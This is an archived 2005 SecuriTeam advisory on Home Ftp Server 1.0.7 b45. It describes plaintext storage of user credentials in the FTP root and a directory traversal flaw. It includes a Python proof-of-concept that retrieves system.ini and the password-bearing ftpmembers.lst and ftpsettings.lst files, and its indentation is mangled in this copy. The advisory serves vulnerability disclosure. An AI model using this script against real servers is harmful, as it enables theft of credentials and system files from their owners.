

[NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0103.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/28/05

To: list@securiteam.com

Date: 28 Aug 2005 11:07:45 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Home Ftp Server Multiple Vulnerabilities (Information Disclosure,
Directory Traversal)

SUMMARY

" <<http://downstairs.dnsalias.net/homeserver.html>> Home ftp server is a very easy to use Windows FTP server application with all the nice ftp features included."

Lack of proper root directory jailing, and lack of proper default configuration allow attackers to obtain user name and files, and to download to see and download any files on the system.

DETAILS

Vulnerable Systems:

* Home Ftp Server version 1.0.7 b45

Information Disclosure:

By default the program setting files ftpmembers.lst and ftpsettings.lst stores at the program home directory, which is the default home directory for the ftp server itself.

The information stored the user setting as plain text including the

Securiteam: [NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)

password files.

Attackers can obtain the program settings as well as users and password in the system.

Directory Traversal:

The program allow users to obtain and download all the files available on the remote system.

Exploit:

```
# Home FTP Server (1.0.7 build 45) Proof Of Concept
```

```
# by Donato Ferrante (fdonato at autistici.org |
```

```
www.autistici.org/fdonato)
```

```
from ftplib import FTP
import sys
```

```
HOST = 'localhost' #host
```

```
PORT = 21 #port
```

```
USER = 'test' #username
```

```
PASS = 'test' #password
```

```
ftp = FTP()
```

```
try:
```

```
    ftp.connect(HOST, PORT)
```

```
except:
```

```
    print 'Unable to connect to: %s:%d' %(HOST, PORT)
```

```
    sys.exit(-1)
```

```
print ftp.getwelcome()
```

```
try:
```

```
    ftp.login(USER, PASS)
```

```
except:
```

```
    print 'Login incorrect!'
```

```
    sys.exit(-1)
```

```
ftp.set_pasv(False)
```

```
for i in range(4):
```

```
    if i == 0:
```

```
        raw_input("\nLIST C:\Windows\ [enter]")
```

```
        request = 'LIST C:\Windows\'
```

```
    if i == 1:
```

```
        raw_input("\nRETR C:\Windows\system.ini [enter]")
```

```
        request = 'RETR C:\Windows\system.ini'
```

```
    elif i == 2:
```

```
        raw_input("\nRETR ftpmembers.lst [enter]")
```

```
        request = 'RETR ftpmembers.lst'
```

Securiteam: [NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)

```
elif i == 3:  
    raw_input("\nRETR ftpsettings.lst [enter]")  
    request = 'RETR ftpsettings.lst'  
    try:  
        ftp.retrlines(request)  
    except:  
        continue
```

```
ftp.close()
```

```
raw_input("\nbye [enter]")
```

```
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:fdonato@autistici.org>
Donato Ferrante.

The original article can be found at:

<<http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt>>

<http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.